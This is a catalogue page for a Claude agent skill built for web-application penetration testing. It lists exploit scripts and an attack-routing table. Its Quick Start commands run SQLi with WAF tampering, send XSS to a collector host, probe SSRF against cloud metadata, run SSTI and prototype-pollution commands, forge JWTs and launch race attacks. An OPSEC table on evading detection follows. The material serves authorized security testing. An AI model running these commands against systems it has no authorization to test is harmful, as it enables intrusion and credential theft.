Web Pentest Skill for Claude

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

27k tokens

context cost

the whole folder, loaded on every use

files

ships runnable scripts

copies elsewhere

how many repositories repackaged it

334

stars on the repo

on the repository, not the skill itself

Install

one command, takes just this skill from the repository

npx skills add https://github.com/hypnguyen1209/offensive-claude --skill web-pentest

What comes with it

98 856 bytes besides the instruction

references/auth-api-access-control.md

references/http-desync-cache.md

references/injection-sqli-cmdi.md

references/proxy-mcp-integration.md

references/ssrf-cloud-metadata.md

references/ssti-deserialization.md

references/xss-csp-clientside.md

scripts/desync_probe.py

scripts/graphql_audit.py

scripts/jwt_forge.py

scripts/proto_ssti_gadgets.py

scripts/race_single_packet.py

scripts/ssrf_toolkit.py

scripts/xss_csp_forge.py

The instruction itself

7 sections, as written by the author

Web Application Penetration Testing

When to Activate

Web application security assessment (black/grey/white box)
API security testing (REST, GraphQL, WebSocket)
Authentication & session management testing (JWT, OAuth/OIDC, SAML)
Business-logic and race-condition hunting
WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud

metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

| Input signal you observe | Test for | Go to |

|--------------------------|----------|-------|

| id, uid, order_id, account, GUID/sequential ref | IDOR/BOLA, access control | references/auth-api-access-control.md |

| url, next, callback, dest, webhook, image_url | SSRF + cloud metadata, open redirect, OAuth chain | references/ssrf-cloud-metadata.md |

| price, qty, coupon, balance, status, state change | business logic + single-packet race | references/http-desync-cache.md (race) |

| template/preview/name reflected in output | SSTI -> RCE, reflected XSS | references/ssti-deserialization.md |

| search/filter/sort reflected; q=, error echoes input | SQLi, XSS, command injection | references/injection-sqli-cmdi.md |

| token, jwt, Authorization, Cookie, OAuth state | JWT forgery, session/OAuth flaws | references/auth-api-access-control.md |

| serialized blob / base64 object / __proto__ | deserialization, prototype pollution | references/ssti-deserialization.md |

| behind CDN/cache; X-Forwarded-*; keyed params | desync (0.CL/TE.0), cache poisoning | references/http-desync-cache.md |

Technique Map

|-----------|--------|-----|-----------|--------|

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC & Detection (summary)

|-----------|-----------------|------------------------|------------|

| SQLi / cmdi | SQL keywords, SLEEP/WAITFOR, web-svc spawning sh/curl | webserver regex Sigma; EDR child-shell from www-data | time-based is slow+noisy; --random-agent --delay, in-band reads first |

| XSS / CSP / client-PP | <script, onerror=, __proto__ in params; CSP report-uri hits | webserver regex; Trusted-Types violation alerts | persistent __proto__ can break shared cached pages — avoid |

| SSRF / metadata | hits to 169.254.169.254 / metadata hosts from app tier | proxy Sigma; GuardDuty credential-exfil | stop at proving token retrieval; rotate collaborator subdomains |

| HTTP desync / cache | CL+TE together, obs-fold, Expect on OPTIONS to CDN | proxy Sigma; reject ambiguous framing | poisons co-tenant traffic — scoped only, never POST-smuggle prod |

| SSTI / PP / deser | {{ }}/${ }, NODE_OPTIONS, rO0AB, JNDI egress | webserver/body Sigma; EDR java->LDAP/RMI | id probe first; reverse shells trip EDR; revert polluted config |

| JWT / OAuth / GraphQL | alg:none, unknown jku/kid, multi-op GraphQL body | app Sigma; failed-verify spikes | forged-JWT attempts alert; cap GraphQL brute wordlist/rate |

Deep Dives

references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command

& argument injection, sqlmap tamper workflow, modern WAF/Unicode evasion.

references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass +

script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.

references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis,

AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch,

2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).

references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect &

CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception

("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.

references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes

(CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter,

NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.

references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL

batch/alias/depth abuse, IDOR/BOLA/mass assignment, business logic, and the

HTTP/2 single-packet race attack.

references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for

ground-truth traffic + replay-with-auth, with mandatory header redaction

(redact_headers.py) at the data boundary.

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How to use it

Copy the folder

Take hypnguyen1209/web-pentest from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.